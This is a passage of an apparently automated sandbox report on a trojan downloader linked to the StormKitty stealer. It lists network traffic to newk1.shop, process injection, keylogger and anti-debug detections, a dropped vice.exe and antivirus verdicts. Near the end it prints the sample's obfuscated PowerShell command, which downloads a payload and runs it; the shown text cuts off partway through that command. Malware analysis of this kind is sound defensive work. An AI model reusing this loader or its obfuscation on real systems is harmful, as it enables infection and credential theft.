@ÎQ{ZâñOJrÝã¹ù¤9©Â©¶õe}à½ôC.iÖèôdÊ:¡LGù\ìx^"j»ï»<=Ûk÷ìèÒâüN¬½Ìpüd½ã¤ðwd ÇTâõÐå%{}á÷ê<Kû7å%¾ô´s«2-0\|¡4RQaºÄàúºs¢÷!TdçOêé²E§ý¦#¡ágÅg½·²I¢W8oÐÛ¢©è,-<Hûø[ïÀîPÔ£e?¼+sæþË¹Â$²ÎtÊ°nkñÍdZ+J0È$ºWÜ`Âñ:3:¹¿G"}¡=O85´fºÃºýw¡©Ë¡ÁfmíÚ56<TñkÀ4}ôk¸áèAùE_:³Ð}®Ù[Ô2kÕrù®E&a¼Rs´g¨¼àOug=¾"Ní· @åÖë,CP¯«ÔBÃUa½7.Ýh2eÅEë5³Jè~ï1aPS²ÃQ%w¶±¸ieT¡¢UxRû®KúàpM{âÊ0o@GkÍhopÍ[{Ó¹ç¯Z÷Æ)!ÞµÆ* !Í\òa"aß#.Âm$'YUjÉÅç&ÏÌbCHT¶+¼ß½cíºÆGÝGÒ¹pëÍ½_ç\|² ®Bf¤öDÝDµð}\|Þ\|gõ/i/G#Ü¢{ù'sÏI3öÂhÐ.ö4u_ÿU+¦69?å5A8,¹ 2éëÝa¡÷WLÍrËÆðFÂ9ßd½N9[ñYo;µQNõcN!&¨
Data received	¥ó¦6¢s¡=²ïLúÌký,øÉÀÆÏ!ôµÛÇÙG\|t£Ñ£¥q'o %Añ@µÔ2½v.ÜgÕ²J`¨´ßÇ7¿cªøn\|j]rûÆ¦Û4/_a¤VõDy§KÜ â Ô[äÄ_UklçIËº'íèÉ×Q²Í¹ÿÒøP¯ºcN£"e5L¥²ÌÖÍâ; ÎËD ·{æ±ÓSY8¨8ù¼IÒ¤D>´9OZ°õ4ÕBDÌÓ>y3ëÀ¾®ôÆiÇÍgãé±pØR"MÂJù´\|1£1{J²1NïÒk=ì9y¶Ö4I÷JÁôHøX×Ô7ÇVNjf!Ö¬>³Ãòyï?«C öO »Áß\|wô>ûá6-ã±ßÅ&¸Ìb}(º2&½o¿ø×°m[iø7d£ØÐµnÆ](kÝVr]I7@Ó¥mÖöQïgÙe#¹gÜh¯3ÄÔÛHß«wPïQJeÕ»mÂ¯/5Méfö1CuÃILóÚ ÎA¡M×£ÔH:Ð=U·ÉvçwHÒÄç4¿Á&ÊµÚÅTîÅHÐò` TÙ Ø]m¹2£4NWÙpQNc¸8¾ÒFU7Ø'ÅþhP½ºÙ8O±""Ï'±áÈàÀútæj}qÚÛ=ÒNè¶U__²°ëOGou$Rã%TÀÉÝ&cÍ,IáD3³Ù¼Á²÷o
Data received	Òüø´Iìç%<´ûBÂÄà7L@ð±¼\|-0kºMàÕwÔ3"vô¸4 )= ø¦¨L¤¥µ&ÔÂéKuQ[&$§+«Â@LËÛåS¡ ñ_ÄIU®Âñ1Y\}UÉùï§èÒüõYá¼KØ?¿R+ÉÞ^Ä·åµ¬\|ÓBø4îÅ©qni!!ªrÖ0¬>Õä<768øI>k=Ï[Üó®wÉ-T@jþØ{HJñ g 44C ¾Ï/ÛªVöå[5rQà=9]SâUæ,eëAAVzÍ1e&}S~EzrÍîË!ÜÜCjøGC±ÑtAJ}[çýoXaâ\¡$xbÅ P×êHÖbð~EZ{gIs;ñ¡@Û°´àr"®Øíð]HcëN dÆ=[çÛßÙÍý?UÿÄd¾Ñ<md~×räçGåPxYmqÙÏdmFZ×PM×Bð e´à³WqÛ?=//µb(ºH[×Øm«ý_²ojÅö,µ¬èî¥¤lóXuS¿\|CGÝndØ¤5ÃqÖ&Õ4åXr ²¡[²~f³vä~N¢ 2@¸qP2Æý¦¤oÉÑxÚGhzÑ\ÈßÑñ.ï],P£ÑïábBØy_º\|È\D+KÓBM?}0rÇH²~èv·`'C!»&âÆ'Z$¸æÏÌðÁWäçuºø÷ÐÇ7k59j£+Uxí-$B¦@"ÂÏê]UZ!Ëíb»Ç5Üs:Úý"P&@´-éBýMÚÌÙ[-c ä*©ëuÈÞ³. ãöþòÌÉïGàHéw~~:;çG/Êê'ÃU(÷ctòãM@"k~S bÊnKdB¬2O-
Data received	´Ïi×½ûzoùÞ½<Ôê13SZÎÑ½ç¡ HY0C\ÈZ{¬Û2ß[ÖoZÑ<e~Üñ;RbNÂGEöu=KOLä¸vÑÞË:"&P¦la%wÈ{±Ìû8'ª© UNsDÉÞ¯ñC¿óiFüL ¹å÷¸ãÔ¹2©6¤5-yÇÊÃ¤,}Z:î?É¨³AæL2pêá4_¤ej/ûjWÜNSªfFµÔÇ¾ãQÔä!%ÆN?K°ã¡ÃvX½\|s¬ù£þMxt&2¡Úÿ¤à·q{øªý?=_w#vÌð°0 ÒÙdàâ0«ÓÄe£°=%«±.¡y}ay6Õ°6à©l>ñËÄg16uâÀPÈÜº}v S~R~¦NV¡æf-X\|hXìKùZ3MWÝ^¨]wð/ Î¹hõÒ5?ôñ2BT9¨¿§Ð§Y[tR-ÃâÍvÚÎùKÊî]¤NvðZºæü_ß½bÝÒP\½¹DtCª'´FD%ùgÃÔ¯ÚkÀ£AÌGÇa%ÃÅâ5ÏÎ>ÒñsR,ÉGº{SÇÞñUãsTÇØGÔ-$Ø` hç¿R´à¬BÚÿàØiÑ8_tú¿BÓAäºHþéÌ+ðÚêlº bÊø²Fü:óGOØ9àgdóz½c~T?9CwT¸}ùh\Mr¦ZKPðÌ?Åë c0xíM\]E>eæý!>Ëçú¸YMnÎsjIrÊ¢é/¸^jèw{ëâðHoÄdF¬¯ ÀnÀ\|
Data received	SzÁí&<áòTâäCýµ¥7ÀWîÚöáÀ)6¸C%ä±½Ì¯¡ç×·âÎé]Ýyð» TN®lÍ¦,2~^\ùu7ÈAß@Ñ-î²ñ«6±©lrkâ¦ºBñ M»qÍÏ]ËOËc²÷Z(%ÒÎkJ¬ÛB· 58øV[£OuÂw0Õõ4GPGhtÜ\|×Aß5Úp5uÌÌ §Îç°×T]2ð7.Aäó©ª/82e cÆ¾¿Ä+g:´qu~ÆD<µøUËøwÃ'èJn)bójãóôó+¨·ÂÐ©ç²8}zó½éýµ(ù>é§î÷Õ·WÎbD¢§©îñ&ÆÄ-)ló§úøÍ_?Y5hóÈt½Y %»x<§ð¶t\|ÞÓ±p\|®ÏÁfû-ÝzÊ4³DA Q×jaÛÔØ?é»ÕëÞâ^Íe3¥xWÅ°#&R$¾<¿`èWêöÏâæ;£ö{ÄnxÞLô2È· ïgWÌÔhÀùÛzß"1(f1â?ò¼îÁ2.Éïé$S(ÀÀlo'Ë)a6+õK³Ôm§7D×¡e¡×<9<l4)}{x0$Cxpár ØÓ«´ÞãxïjõE¥gnRKº4nç×ÅtyHjÖØb{¯qèù-xy/ï%Äñ tÜã#ü øRd"nØyDÍß¸ê6x Ë)¢:öÞ ó9=Âc¡¥-U8·¶ñ}Ê~¼Ø/;N®kÎÙ)]J!Ù*lÞ³GÇVøN¼ÚVBoÉxÅÙ½ãÏE¦Â×ø[X
Data received	¾ò°£ªMO}FºÆ[uiÃ >¯b7¼ÆÂuò)Fµ#ÆáªAy\¬°Ö\KkB,¬QÃ¬4îÆ-/ +"fc§w;Y}ýiïÖt[ÁêD<Ó]:1¥¾VjS4²æ½û<¾zÈTï2\oB}¸ø¹!+A.±Õóãì=ä\² ëJ©Ë·æJÉ#ÜOBYªÈÁw<C 7^NßUçGè´ÐQ%z=$dÔ±äÚ-ë)]>A¯DJ-öÓF-æ1Ü¶'´<,xA@^ö³\6n.õàÚ¹äXTß]W¦mµÁî{Ëíô@@&6Ñ) ¬È§yÃ[îi"º9l÷§G;c[´¢å5ßåÿó½UêÄøzøë¹jþ1:¬² ¾ÝÏdóÒîîÒ¶ÃÑzLkYº(ÀôeX¤£öf£âîK\n[6 ÍÅ·>N¶IÌÈÇ3NRg<ep ]^÷[ëN@rjßp*K[ q¦Ü!m\ÿðfØÜ_£%×!+ø®ñíÑoåJ¨f¢büJ Ô6ð7MG ´PQ8InóÙa'Vèt+Ôé9qóZÜÛ.¡LðÑÝð·[£¡,å`´b²QÿÖ÷GJÃUx:¿ÈXÎLGveoG1åÛà`8W×è»ã5Eolß-¾zÈæ"ÒgÆº¦ÓÂZ:´×® cópÜìDkÖðûbÁàß>P-ÊÃE\$¥niÿÃ§õÕäÅ°Có·Îµ©qßzËqE>âo}æÜå ±KÝmµÚØëþÛné¦[\|ÂË¹]hÀ§OOÅ\|¤RÉyeÃÅø÷·èc]Çë!1î5cTF1¾æÉgåÚ<¼(ðvÒr39±Ëó«,ð
Data received	ÈÐæÏ±i=¿z%¶ø±ÌÓÕN7ÊÌ8ÕÅ%ï½¹m3çs(E³è$Ã Èð+ð8zXòe[8ï+2«ëDü ouìÏm®,õ@jèFAmË$X)iË!R»HW4?\Z4 0p¿j¥xF%à_E?+Yr>êpZ§kÁë¹u¶GíÐ¯K!ùÀ~Í£qÈlssÊ(?Ütgï2ÎÿäD+t(.jW,B/¥JãÆ)æÃ ÿêå[ÍSsÍ$;Æ_7/ã?RÇ×í ©wh+¡ÞYql >_»ÍùJÈñ°u.UØ¾GKfÏÇÁwÞ±ç N2 ¦f(ä¥k.gNBÈYÇGu´ChIt £ÂÑÛ1?b3ý'wÿ?[KRSËÝÄ?`ÈHµ¾nÓa.ÿSìtPºÄú.HYîo±±b ±ËmM7{Ùäëj}5r`HsÀÊs ÈÓn$:BÓÜ#âÿÃK´>{ÅíT¼îÊm5 ¶Å]Å\@A^µhkã8¢ÓÂSÜP.Ï·©+j£(þì¥1ßÀ¾½Æ`!sJ?½a²\|7a?@iN=¬¯¼¾ÕSÄØµ½E$Û%ÃBúXQêÛs°8é;ÚÊ )V2âHÌ¡÷¶4 ÁÇL¶pVwùYñ"d ÛÖw)Ô3.s¢?¿í2G$1 ¨¦l!ÕÖÔ¬>øg>¹Ãv¨Ñp¼Vç?T
Data received	\|©G´áÅ)a×ÄUÃ0>8ÿ¥©¹UI÷Æ.¤¿ën?óÛÂi¸ÉCzJÿ{+Aôä³{÷±À\|ð`Ae v¥ª~ßòÝçîv»ýª4Faoö¨7-ó4ÒAï§6}° ì'±`ÎÐÃ¸ã@~æX1-÷õþ½ÞªÊ\ tó`P¶ÁþQ8ZºÆ©ÔÝE¦a×vë.~ÎJ½íÌQxr¦¾âÖK·âÐz{®½¿vÁ þ6 =ú¨w=ªä¸/+"o×¦TSýje 3n_$Ñ£´1¨1â>n L½wvÝ¯1Ñ³ð3\|BY¼¥îDS:³GCÎZöÚÞÌÆÉõ~`è§ÁJ¿î2;¶ùµ´D8±Åú] QÔEÐØ#ÈüÜ¬×5ª1¥¾ñ`²åcJB A1ÜÀí¡µpÑú3¸$.qlÓÃVË¨M Û¨Á^Ðúnh¢E»«çx.¾Ô1'°ÕYÊÓÈ¨ÉìêáÅl$ì¹2êé°§Þç;ê¼¥LAhõù½Úp.`F/`ò!ÈÒCmºéÇÑÚÉÈyõ 44.aT7Ævm£Ìêm(ïä[sçøus¬v9ÈO5þgZ³»¡Wµ{ªC°ÜÜ)#ÃDýëD¾w{ÿ;ëCNT]òÀ¹ocF\ÓsÕ4_Ê©ÂÈbÛ)&8É#JM03a¤0(h¶lÐÃª º5:(Â)hf Îª1iyÐ7$©xWÚy\#£X'§óê?6´j<hçug÷SÉ¥´øa/¯;ë¥ÿIÂ¯ù_É°½xìH37±ó®¨ÀÈk zÉj[/,e4Øÿ§£k´nY¶: bþë'Èá®YÈrÂN7ã-Hò,NËÞÙ¡ÐeðÚL(Ôælì=E²¯ÈP×%ñKW0Þ#1óþ-¨ ærî_¢wIMV.+J9(xqo\
Data received	©I?õ Ægá¼0NÑÿ¾¥ôeíä`îMéê8À-=Øx ø£Sá¶)²ù¦f°êõ»+V÷ u"%ÕòLÓWÐRõMéÙ±BöSZ\ÕÔKUM«Îy ¦\Wr´R8t°HjÝ¨Z´èrê±xaegáê´cÒÖÿ¿ÉH\Å<4,jÉD5 Îa1º£hÑ8N?AÔÌ[yøõ¼µ}Ú}X_ñTâf÷»©rßâä\|aö°.Y÷®À<©ÿiºÚ8¯8Wª¨Ép·lpD¾Ôp¥\;5¬¶Îü<b ÝùÆpªÂpõ¸0¸/`ð:°J;ãüý¹ëA²ðh´rÔ Å ½¼±ÍÍMüBÉq×("jb®ðÒÁ¨ö¹FÊáÏVÞ6$Ü7z¬ðAmÒrßøyAæ;ýëdÊH+àØµñ=þr@f}tM}ú#c¨¶D9Óß¦¹:Îx7nkÄßN¾ v°eqü:ÝO§KÍ,¦[w,¯ÁÙÁ(=8>dóá]µ¤ÙmÁR&ä7Uÿí±òíÉkíÄ¼Þê[þÒ²dLÆP*Ykª¦2aAÙç(0» ZëäÝÀ ©dÌ¡1«ý ]~^ýBþË6mÌöv½ÅÄ¥ãå!2ÆÑ~Û~ÃÆ>òd>¸$¼ÏzóÇA³®OÁñÝ©è5a]ÉLØ
Data received	ã×i\|À@í)Pÿv?µ·"ó+¥îÒÓãË#Ôqûì=S)-û\|\hÄMý¡ý\|¹¼ÄÿCÍTRÉyÌpÍlñ¾#H¥¼èç.«±úsË{r1zJ¨áâpóm"øäheÈ9nñÂOÃñLv¹ÄA©PMåº¸Ñ)z%¾q]µÏô)3¬gôXrAØGÒþöag0ZÃkÃó$J¶[¢Ø)ôúbFcÊSQÃL s jCH¨RË zÜ½¡W°J^£Ô&üTØ#º[-hÑ{VoØ¸ê¾j3@ªÑw 'sÂ8Ô/§Ë®XW9¤åð)ªÂÅÛýe´\No³os\à)°°ÕÃÊ«pdð&'QûÒêxFËÄ/õlTUÆX3¶ ¢ ?½±)^þÊ¸¡ÏU0ç±MÇ¬(©nªÞ'Á¯ÑÏLÖð k!g8ZýGdrø]A)S¿ªïû{zY_}Beã¯í µêÈ]Ú\;ô. <#mG4\b»Hô"å¤Åï9:½Ç«ºÍÇ¤ oÓlö}9]HL ²ÝÑé7·°æì;Ä¨ñò¸Éð«ÎÅxäJãJå¦w¶ô.Ú xÌ%%v /dBE¬7cté.ûr¥p¡ÚÆ6õÜ.è.ÁÕq]rJÒ¹VíÇmb(&î±×³1XûWþ&ê»åÿ¡>®¶±\\|ÕÙ£=ùm±DSc.r²¯Vò3ì7¹y=¸C²ªt#©Q©ßQâòÀ×MDL¢3ý&<¿ëkÆJÞXJÛ§Ú"ìÚvÅ .È+Òlv-¬â¶ßÿo·[9L¢¡?÷)ÕìÆËr?ç¡JØFÃ*¾Ð?8ÖÎ¶Û_(:+^iòiÿ°Ã¦IM)¾SÏßÁ¢Y½é·+gru 7.·GÃUï?SÊÞ»o[qäUî·×º{«spcõH§9¥Í_ Aëa Z=÷ÖÒeå1´õÒu:Ui²x¹+¿Æ®
Data received	&,ÿ³°E½ÐØpÌ/¥J)\`Þ:B¢awÈìA©ùAÀ´×JG§CbiûB%SÅÎÓEgúh¸¾ù#ßÏÚµ¦ý2iâÄïùÿ4¿ã#}àð£àåt+1W[ó°u£DüêðOÒó/Ør=<Ô#©kjå@VY«õÐ3_µg ï«ÊïöÌÇ¼ÑXghÇ»?aÒÚ"GÁS¦(^ð£v%.}>Çy}çÝhÄÒnµ_aêo¶yÚ»Ó»?Äeè½¹#ýWØ)Yñ Dãh»â:< ËãOT>U·sdnÊøÅ[2È°´ëÖëSrò3ÚIxZ!£Wr$üA¾ F^[x§ÜÜ}9µÛ!î>/+ê¨rs ¢þ1.3ùOëjérBÀµ{¿j«oolCôEnÇ]6;JÙäV$oNØYÐð%1dh¼aÌ©4ÍR£+î+êF?Ãé~_A/¦]BÀu)Ò6Ï°aú°cË8«ó2=³àj ¬ª%6u^sLVPe@(·GÇõ}Z!";ú0¯9îAØ7ÌÐÄ¥Ou[FQxÀ@{È'ÎxPdUÙOGÁúmMÅª
Data received
Data received	Væö&w£l"H÷Ö£×=eCmÓ}=w \|íÆHgOQ}g¿¹¤È²ùçB_+b@i7¼-¦ÅðZ×`¡LÆÃÙ/(HTÃÌRii ùÇR¸518F×Ç§¯IyÚåôu¡ùÍ¯Â0HDlö`LÖ¯\|#3t£Qý5 Íy«b_ÑÃV÷¹Ò fðV+¶_ïÝd«ÛÛr^¬#¬}øNÔ¼óx¡~3JL¼+¦·,?SlñèUÏõLºß¬ûä;'oêl5óEëþMfÏM Y¼Mæ¤£LÑs$`Þ,9<<_YxË¶¹H°$ÞÇx+HºOdO¶Y<±j3{ä8%¹,èSxS@äéË '¸y£\|v+äl8Ö;TÜwÿ¦5.ã#±\^ÉÂ¬Ón»Ê\±2ÂðAÊPß© ¢äfëËAMßX£ôÈ(KeØm<õH_A5 Ý':PÆª·ç¨ÚK÷êç"0°.þ°n-è6çÙà¦!Ý&/ìÛ70Rm²jªZE]ÆñÁdCºÄM :¯É°§wTËG×ÒÄ¯¬øÂ¸~ÔXÐÔzm ]ÙhtP¤¥2\|[la8cÐî»( Ð(f°ÇgÜj:GÒ"w%çKB´E´<«[NÞõÎÎöj]e^/trþ Q@X(ÀÚ!ÓÿlÓ;³ÍCsJõÀ>©WHZÅð¤ö`bÅd!ïä«\|ã \|WÉÄ®3/÷ KSúÁÝØÇÞ(${úü=µ´ÆVeîDÿ/Ûµ&ö¹©íúÌp`¾¯Ó'Õ´5§=²ÉÆË_Þú÷³wôF»}*²zJP=«rw£]Jík¼«^a°®}½b$F+ýáêÉûèðT@Ó©´À] îSÞ. y1E`àÃ~4Æþá18Ñ ¦ËMi£%EKP£ð?ûv¨ôðÞ%ÞX¤]}!KK©obÿP28ÔQ[Ú>Ýz=á´æ(¥«ê.àðXÜHÔßbÐqF`#póoæÒèÆ\|!<eðïÚ÷¯Pìã#1\|í_~TÀe9yI]ØãJÈ÷òm
Data received	(iyùe7¥åJÅ®¾eñ§{æ.I?mJ©§k{$Sðt ´vÜésº¹îs^ba%Ù,ó@¢#¥{Ú¯í³1¬ÅYP «éÍê³O1lNP³7ySK22²ò<,]\|£hx('I©o Öòqð¶¯Ø)=+L!i!ÿó íSÒ¿«¶2^Êí&\¦LkÐã>jµoÞÆó¨p0ÍüjtËÖ IÞ~nr6Z?÷¬¦¸;Ù øÎ:íÑG¸ÜØ?mÄÁ´ôEÏrUðK¦ Å>üßÎX S§'=ÞgÇ;¾E*ø©2Èw0j[¾¼æ9ºÚIæ¹ãUó;÷#jÓvªjÒZãÑ¡§VuN1`éÂEYÈîì<6
Data received	÷°ÅJõ>¢ÃJ`TË@ÅMI¯$lFûbAlT:V<týÜºèE¥ ÆÁQ»è&7ÿn5}Ñ¾,ãY©Gz}¬ nÛPs)Þ= wð(Sá&z¢^>.éÒF¥P¸iU[øûÒ¿3\|=åçl ½´bÔÊ±OS^eåÑ§3ÄÒo¡Z"á½¡Üxóýv³µù-nðÄGU¡ùãÂäª³pF`ÖD+çb&1<Hãæ¯¨ü ³!ÑGÚÂä¶4ê¾\zÉ¬' ÃFD»=fiKú$Î1.sÎÎ[·òÔz©¾x#Þy2é´7 _Ði[PÈm_kª/®<S®ä>{ã]7¨^Åzùâ\|mvÜê^SEÉsg\|ùx½@}dÞ4wIÍ±vfk×amé!äTÂ£(1_CÓOðHÐ£åÕ1Èùõ_ÍpùNbÜd¡è{3Ùþ8ºåÊåÉôìó¿³uøS³ÓU=jg_$ %wè²Y´×è0&ì ?h!«aIº¡ÅËÈàAnÄ`ª°?ù=¥þ/òè½'?¹Àtä\9ïà0Ñq)×ºR×ðïArOî%¿x0:;âfV¢ôøW`ù¬¸ Ìë3¹Ñ\¿øFæïÕíâWÓYã,áB>¦x<ðÄ¾Ä\:¥ßô}»¥ÍéP&o_\1QãTÀ`úþ«h^,É¸.ZKß]Hª{ôwÝÓÏ²,ÝDwÍ2J1\éÞ ØKÝÍLH3Vÿ@%ov/7¨Ä-Àq1 Í È÷û3ð¨x )(ÓYF1£ìGæJTO&vãÝ·N+ôÞIMÕÃeugtá\b¹ò$CMy[Ï1QKb¬eº£O¼g« Âª? ëiú{[²Ý2\SÅYXÊP¶ØüÍÂ&©ÊD±~~C/úcÄð»ïë·¼ýøâ*8ÚÍ 41ù¼xÚþÐN]c[£RswPPÐX.ÌX#§ý` ¾1'ïÁ.òB¡¸(ÁLUaöt£±j4#= ÒÂ>¿Ñ¥-Èé5Ú8sÀÄ >à£ýg÷¢Ïm²ñ6o«zÌ=Ätç¿@¶_× ÝJêK)lÌX7ÊG- ¦åÿeQÂHôcÔM`²â!-Å#ðçíiANmZa¬.%áª Fs¦î:Ïïçñ;ýôò¯}ß~B: ß°1[²5Ý[C©7weB¬p% o¶3©èè6\\|)h"`iÆV¹ÂQìÈÍW-
Data received	» Ô\|«Ò-ÛÊÆh6m¡Y7¢>¦,ÓyábßÿT`lIÊõè 6çôÆÙAFEÊ(UæRXðíê?ï;M9voì¥ååQXY¹â°.Qk\rT¾pC«+6~ÌuÚÙöº©(w»}aB´Þ_ÿ»;EEAò¬ÇÈDCÏ ç@oíÛM¼¬¹"çd-ËuýÆkýTqEpPà¯iJMéØÒnÊ¤{ÊÂ¥eÁ©á;4¿ÞjÚ%c¼{æ*ë>híS³t@àÕËÀïÌô7®ÔÆº¢zóí ½©ø\sÕÿU%¢"¬n`¦Uóe~àØ¨ö¡ßòÅDu¼

Poweshell is sending data to a remote host (3 events)

Data sent	midQ©G1 §»ô áv^ßWÓÓ9l]LäO}bVÊï/5 ÀÀÀ À 28(ÿ newk1.shop
Data sent	FBAj²²ÿ¤ÔÞïB÷/Îâ¿³ ýî}ä5öñYCÛ&K²«Ð°EgÏÂ÷]roçuÒÚHògÐõBp°Î10¾¿öA·WÝ@îÇÝ°Ø34¯ÕgBAþuä/U³ëâCF^D\2(ÈSl
Data sent	poÈä§ÿKôàÌ*z´P hp)þ+GuêØ=:íNä.fw`¢£Ì@. õàJÀª½(Ãk6$G'7ß7áÊÏ=êÂ÷¤â<ö¨¶6ÝÛ4ø{Ã

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 3, 2023, 9:22 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW May 3, 2023, 9:23 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (1 event)

url	https://github.com/LimerBoy/StormKitty

Yara rule detected in process memory (12 events)

description	Communications smtp	rule	Network_SMTP_dotNet
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Run a KeyLogger	rule	KeyLogger

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory May 3, 2023, 9:23 a.m.	process_identifier: 3004 region_size: 155648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000274	1	0	0

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Roaming\vice.exe

A potential heapspray has been detected. 74 megabytes was sprayed onto the heap of the powershell.exe process (1 event)

count

1195

name

heapspray

process

powershell.exe

total_mb

length

65536

protection

PAGE_READWRITE

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2388 manipulating memory of non-child process 3004
NtAllocateVirtualMemory May 3, 2023, 9:23 a.m.	process_identifier: 3004 region_size: 155648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000274	1	0	0

Potential code injection by writing to the memory of another process (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2388 injected into non-child 3004
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL²8dà"Päî @ `@O §@ H.textôã ä `.rsrc§ æ@@.reloc@ø@B base_address: 0x00400000 process_identifier: 3004 process_handle: 0x00000274	1	1	0
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: ð3 base_address: 0x00424000 process_identifier: 3004 process_handle: 0x00000274	1	1	0
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3004 process_handle: 0x00000274	1	1	0

Code injection by writing an executable or DLL to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2388 injected into non-child 3004
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL²8dà"Päî @ `@O §@ H.textôã ä `.rsrc§ æ@@.reloc@ø@B base_address: 0x00400000 process_identifier: 3004 process_handle: 0x00000274	1	1	0

File has been identified by 16 AntiVirus engines on VirusTotal as malicious (16 events)

ALYac	VB:Trojan.Valyria.8059
VIPRE	VB:Trojan.Valyria.8059
Arcabit	VB:Trojan.Valyria.D1F7B
Cyren	VBS/Agent.AZR!Eldorado
ESET-NOD32	VBS/TrojanDownloader.Agent.XAO
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	VB:Trojan.Valyria.8059
NANO-Antivirus	Trojan.Script.Downloader.jpdglv
MicroWorld-eScan	VB:Trojan.Valyria.8059
Emsisoft	VB:Trojan.Valyria.8059 (B)
FireEye	VB:Trojan.Valyria.8059
Jiangmin	Trojan.Script.amhb
GData	VB:Trojan.Valyria.8059
Google	Detected
MAX	malware (ai score=83)
Fortinet	VBS/Agent.XAO!tr

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send May 3, 2023, 9:22 a.m.	buffer: midQ©G1 §»ô áv^ßWÓÓ9l]LäO}bVÊï/5 ÀÀÀ À 28(ÿ newk1.shop socket: 1436 sent: 114	1	114
send May 3, 2023, 9:22 a.m.	buffer: FBAj²²ÿ¤ÔÞïB÷/Îâ¿³ ýî}ä5öñYCÛ&K²«Ð°EgÏÂ÷]roçuÒÚHògÐõBp°Î10¾¿öA·WÝ@îÇÝ°Ø34¯ÕgBAþuä/U³ëâCF^D\2(ÈSl socket: 1436 sent: 134	1	134
send May 3, 2023, 9:22 a.m.	buffer: poÈä§ÿKôàÌ*z´P hp)þ+GuêØ=:íNä.fw`¢£Ì@. õàJÀª½(Ãk6$G'7ß7áÊÏ=êÂ÷¤â<ö¨¶6ÝÛ4ø{Ã socket: 1436 sent: 117	1	117

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2388 called NtSetContextThread to modify thread in remote process 3004
NtSetContextThread May 3, 2023, 9:23 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4326382 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000270 process_identifier: 3004	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	"C:\Users\test22\AppData\Roaming\vice.exe"
parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Roaming\vice.exe

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2388 resumed a thread in remote process 3004
NtResumeThread May 3, 2023, 9:23 a.m.	thread_handle: 0x00000270 suspend_count: 1 process_identifier: 3004	1	0	0

Creates a suspicious Powershell process (2 events)

option	-executionpolicy unrestricted				value	Attempts to bypass execution policy
option	-executionpolicy unrestricted				value	Attempts to bypass execution policy

Executed a process and injected code into it, probably while unpacking (26 events)

Time & API	Arguments	Status	Return
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x00000104 suspend_count: 1 process_identifier: 292	1	0
CreateProcessInternalW May 3, 2023, 9:22 a.m.	thread_identifier: 2236 thread_handle: 0x00000350 process_identifier: 2232 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LgYBoZgyc($mb, $Q){[IO.File]::WriteAllBytes($mb, $Q)};function qVlmS($mb){if($mb.EndsWith((GGwIXH @(38387,38441,38449,38449))) -eq $True){Start-Process (GGwIXH @(38455,38458,38451,38441,38449,38449,38392,38391,38387,38442,38461,38442)) $mb}else{Start-Process $mb}};function QQMOHWU($go){$Bd = New-Object (GGwIXH @(38419,38442,38457,38387,38428,38442,38439,38408,38449,38446,38442,38451,38457));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$Q = $Bd.DownloadData($go);return $Q};function GGwIXH($BQ){$Ei=38341;$Y=$Null;foreach($rf in $BQ){$Y+=[char]($rf-$Ei)};return $Y};function PENpW(){$uqRySCIsZ = $env:APPDATA + '\';$FPTcCxEw = QQMOHWU (GGwIXH @(38445,38457,38457,38453,38456,38399,38388,38388,38451,38442,38460,38448,38390,38387,38456,38445,38452,38453,38388,38426,38426,38446,38456,38443,38448,38421,38414,38388,38459,38446,38440,38442,38387,38442,38461,38442));$LdgHFwF = $uqRySCIsZ + 'vice.exe';LgYBoZgyc $LdgHFwF 